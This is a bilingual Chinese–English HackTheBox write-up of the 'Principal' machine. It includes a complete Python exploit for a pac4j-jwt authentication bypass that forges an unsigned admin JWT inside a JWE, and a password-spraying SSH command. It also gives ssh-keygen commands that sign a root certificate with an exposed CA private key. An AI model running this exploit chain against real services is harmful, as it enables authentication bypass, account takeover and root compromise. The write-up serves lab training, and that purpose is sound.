HackTheBox Principal Writeup

HackTheBox Principal 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb principal

枚举

-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Mar 2026 07:48:35 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json

发现22,8080端口。

Web

8080端口中pac4j-jwt/6.0.3 搜索可以得到

CVE-2026-29000

CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。

下面从多个角度做一个概览:


一、漏洞基本信息

  • CVE编号:CVE-2026-29000
  • 组件:pac4j-jwt(pac4j安全框架JWT模块)
  • 漏洞类型:认证绕过 / JWT验证逻辑缺陷
  • 严重等级:Critical(CVSS约 9.1–10.0)
  • 披露时间:2026-03-04

影响版本:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2

修复版本:

  • 4.5.9
  • 5.7.9
  • 6.3.3

二、漏洞核心问题

漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误

正常 JWT 认证流程:

  1. 客户端发送 JWT
  2. 服务端验证签名(JWS)
  3. 如果是加密 JWT(JWE)
    • 先解密
    • 再验证签名

但是漏洞版本存在一个问题:

解密后没有强制验证签名。

当内部 JWT 是 PlainJWT(无签名) 时:

  • toSignedJWT() 返回 null
  • 签名校验代码被跳过
  • 认证直接通过

因此攻击者可以构造伪造 Token。


三、攻击思路(高层)

攻击者只需要:

1️⃣ 获取服务器 RSA 公钥

(很多系统会公开 JWKS endpoint)

例如:

/.well-known/jwks.json
/pubkey

2️⃣ 构造一个 PlainJWT

例如:

{
  "sub": "admin",
  "role": "admin"
}

3️⃣ 用服务器公钥加密生成 JWE

4️⃣ 将该 Token 作为

Authorization: Bearer <token>

发送请求

服务器解密后:

  • 发现不是 SignedJWT
  • 跳过签名校验
  • 直接读取 claims

结果:

攻击者成功伪造任意用户身份。


四、漏洞影响范围

这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛

常见使用项目包括:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO 系统
  • API Gateway / IAM系统

如果使用 JWT + pac4j-jwt 的服务可能受影响。


五、攻击效果

攻击者可以做到:

  • 任意用户登录
  • 伪造管理员身份
  • 绕过认证系统
  • 访问受保护 API
  • 获取敏感数据

因为无需凭据:

攻击复杂度非常低。


六、漏洞本质

本质是一个典型安全误区:

“加密 ≠ 身份认证”

  • JWE:保证数据机密性
  • JWS:保证数据完整性和身份

如果只做解密,不做签名验证:

系统就无法确认 token 来源。


七、修复方式

官方建议:

1 升级版本

升级 pac4j-jwt:

4.5.9
5.7.9
6.3.3

修复内容:

  • 解密后强制检查 JWT 类型
  • 如果不是 SignedJWT → 拒绝认证

2 临时缓解措施

如果无法升级:

可以做一些防护:

  • 禁止 alg: none
  • 拦截异常 JWE token
  • WAF检测 JWT 结构
  • 监控异常登录日志
  • 限制 JWT 公钥访问

八、简单总结

一句话总结这个漏洞:

只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。

属于:

  • 认证绕过
  • JWT验证逻辑漏洞
  • 高危漏洞

USER

现在我们需要服务器的 RSA 公钥

查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点

  • const API_BASE = ”;
  • const JWKS_ENDPOINT = ‘/api/auth/jwks’; 获取公钥
  • const AUTH_ENDPOINT = ‘/api/auth/login’;
  • const DASHBOARD_ENDPOINT = ‘/api/dashboard’;
  • const USERS_ENDPOINT = ‘/api/users’;
  • const SETTINGS_ENDPOINT = ‘/api/settings’;
curl http://principal.htb:8080/api/auth/jwks
# 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

并且发现

// Role constants - must match server-side role definitions
const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

使用官方脚本

#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""

import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe

TARGET = sys.argv[1]

# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data)    # **key_data: 解包字典数据为关键字参数
print(f"[+] Successfully fetched RSA public key from JWKS")

# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号

now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
payload = b64url_encode(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 

# Step 3:Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
    plain_jwt.encode(),
    recipient=pub_key,
    protected=json.dumps({
        "alg": "RSA-OAEP-256",
        "enc": "A128GCM",
        "kid": key_data["kid"],
        "cty": "JWT",
    })
)
forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
print(f"[+] Forged JWE token created")

# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}

print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")

print(f"[+] Token: {forged_token}")

运行后得到token,我们查看app.js可以发现

// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token

sessionStorage.setItem('auth_token', 'token');

刷新即可进入后台

在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名

  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

ROOT

svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app  deploy  ssh

发现三个文件,并且在ssh中发现密钥

svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt  ca	ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# 返回:
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication

这里提到了deploy.sh ,以及我们可以读取ca私钥

find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。

所以我们可以使用伪造的证书以root身份登录SSH

ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
# -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
# -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
# -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
# -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
# /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。

最后:ssh -i /tmp/pwn root@localhost


攻击链

nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录

HTB principal

Enumeration

-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Mar 2026 07:48:35 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json

Ports 22 and 8080 are discovered.

Web

Searching for pac4j-jwt/6.0.3 found on port 8080 leads to

CVE-2026-29000

CVE-2026-29000 is a critical authentication bypass vulnerability disclosed in 2026, affecting the JWT module of the pac4j security framework, pac4j-jwt, which is commonly used in the Java ecosystem. This vulnerability allows attackers to forge identity tokens, enabling them to directly log into systems or even gain administrator privileges.

Here is an overview from multiple perspectives:


I. Basic Vulnerability Information

  • CVE ID: CVE-2026-29000
  • Component: pac4j-jwt (JWT module of the pac4j security framework)
  • Vulnerability Type: Authentication Bypass / JWT Verification Logic Flaw
  • Severity: Critical (CVSS score approximately 9.1–10.0)
  • Disclosure Date: 2026-03-04

Affected Versions:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2

Patched Versions:

  • 4.5.9
  • 5.7.9
  • 6.3.3

II. Core Vulnerability Issue

The vulnerability lies in a logic error in JwtAuthenticator when processing encrypted JWTs (JWE).

Normal JWT authentication flow:

  1. Client sends a JWT
  2. Server verifies the signature (JWS)
  3. If it’s an encrypted JWT (JWE)
    • Decrypt it first
    • Then verify the signature

However, the vulnerable versions have an issue:

Signature verification is not enforced after decryption.

When the inner JWT is a PlainJWT (unsigned):

  • toSignedJWT() returns null
  • Signature verification code is skipped
  • Authentication is granted directly

Thus, an attacker can forge a token.


III. Attack Concept (High-Level)

The attacker only needs to:

1️⃣ Obtain the server’s RSA public key

(Many systems expose the JWKS endpoint)

For example:

/.well-known/jwks.json
/pubkey

2️⃣ Construct a PlainJWT

For example:

{
  "sub": "admin",
  "role": "admin"
}

3️⃣ Encrypt it with the server’s public key to generate a JWE

4️⃣ Send a request with the token as

Authorization: Bearer <token>

After the server decrypts it:

  • It finds it’s not a SignedJWT
  • Skips signature verification
  • Directly reads the claims

Result:

The attacker successfully forges any user’s identity.


IV. Scope of Vulnerability Impact

This vulnerability has a significant impact because pac4j is widely used in the Java ecosystem:

Common projects using it include:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO systems
  • API Gateway / IAM systems

Services using JWT with pac4j-jwt may be affected.


V. Attack Effects

An attacker can:

  • Log in as any user
  • Forge administrator identities
  • Bypass authentication systems
  • Access protected APIs
  • Obtain sensitive data

Since no credentials are required:

The attack complexity is very low.


VI. Essence of the Vulnerability

The essence is a typical security pitfall:

“Encryption ≠ Authentication”

  • JWE: Ensures data confidentiality
  • JWS: Ensures data integrity and identity

If only decryption is performed without signature verification:

The system cannot confirm the token’s origin.


VII. Remediation

Official recommendations:

1. Upgrade Versions

Upgrade pac4j-jwt:

4.5.9
5.7.9
6.3.3

Fix content:

  • Enforce JWT type check after decryption
  • If not a SignedJWT → reject authentication

2. Temporary Mitigation Measures

If upgrading is not possible:

Some protections can be implemented:

  • Forbid alg: none
  • Intercept anomalous JWE tokens
  • WAF detection for JWT structure
  • Monitor for abnormal login logs
  • Restrict access to JWT public keys

Eight: Brief Summary

A one-sentence summary of the vulnerability:

Only using the server’s publicly available RSA public key allows forging any user’s login.

It falls under:

  • Authentication bypass
  • JWT verification logic vulnerability
  • High-risk vulnerability

USER

Now we need the server's RSA public key.

Examining the source code reveals http://principal.htb:8080/static/js/app.js, which exposes several endpoints:

  • const API_BASE = ”;
  • const JWKS_ENDPOINT = ‘/api/auth/jwks’; // Get public key
  • const AUTH_ENDPOINT = ‘/api/auth/login’;
  • const DASHBOARD_ENDPOINT = ‘/api/dashboard’;
  • const USERS_ENDPOINT = ‘/api/users’;
  • const SETTINGS_ENDPOINT = ‘/api/settings’;
curl http://principal.htb:8080/api/auth/jwks
# Returns {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

Also found:

// Role constants - must match server-side role definitions
const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

Using the official script:

#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""

import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe

TARGET = sys.argv[1]

# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data)    # **key_data: Unpacks dictionary data into keyword arguments
print(f"[+] Successfully fetched RSA public key from JWKS")

# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): Removes trailing equals signs from the byte string

now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Converts a dictionary to a JSON string encode(): Converts a string to bytes
payload = b64url_encode(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # Trailing . (even if none present): Placeholder for the signature
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 

# Step 3: Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
    plain_jwt.encode(),
    recipient=pub_key,
    protected=json.dumps({
        "alg": "RSA-OAEP-256",
        "enc": "A128GCM",
        "kid": key_data["kid"],
        "cty": "JWT",
    })
)
forged_token = jwe_token.serialize(compact=True) # compact=True: Serializes the JWE object into compact format
print(f"[+] Forged JWE token created")

# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}

print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")

print(f"[+] Token: {forged_token}")

After running it to obtain the token, examining app.js reveals:

// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

The token is managed by frontend JavaScript scripts. Adding our token via the login page’s console:

sessionStorage.setItem('auth_token', 'your_token_here');

Refreshing grants access to the backend.

In the settings interface, we can find: encryptionKey: D3pl0y_$$H_Now42! and some usernames.

  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

ROOT

svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app  deploy  ssh

Found three directories, and within ssh, we find keys:

svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt  ca	ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# Returns:
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication

This mentions deploy.sh, and we can read the CA private key.

find / -name "deploy.sh" 2>/dev/null didn’t find the file. Let’s check the sshd configuration file.

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

When OpenSSH’s TrustedUserCAKeys configuration does not include an AuthorizedPrincipalsFile: any certificate signed by the trusted CA will be accepted.

Therefore, we can log in as root using a forged certificate.

ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool): SSH key generation and management tool.
# -s /opt/principal/ssh/ca (Sign with CA Key): The most critical parameter. Specifies using the CA private key located at /opt/principal/ssh/ca to sign the certificate.
# -I "pwn-root" (Identity): The certificate's identifier (Key ID). This string is recorded in server logs, typically for auditing (here the identifier you chose is "pwn-root").
# -n root (Principals): Privilege assignment. Specifies the username the certificate allows login for. Since you specified 'root', this means the certificate is only valid for logging into the root account.
# -V +1h (Validity): Validity Period. Specifies the certificate is valid for 1 hour from now. This is a clever approach to complete the attack without leaving a long-term backdoor.
# /tmp/pwn.pub (Public Key to sign): Specifies the original public key file you want to sign.

Finally: ssh -i /tmp/pwn root@localhost


Attack Chain

nmap -> 8080 pac4j-jwt/6.0.3 -> CVE, authentication vulnerability -> Admin panel SSH leak -> Misconfigured sshd -> AuthorizedPrincipalsFile not set (meaning all users can log in as any user) -> Forged root certificate, login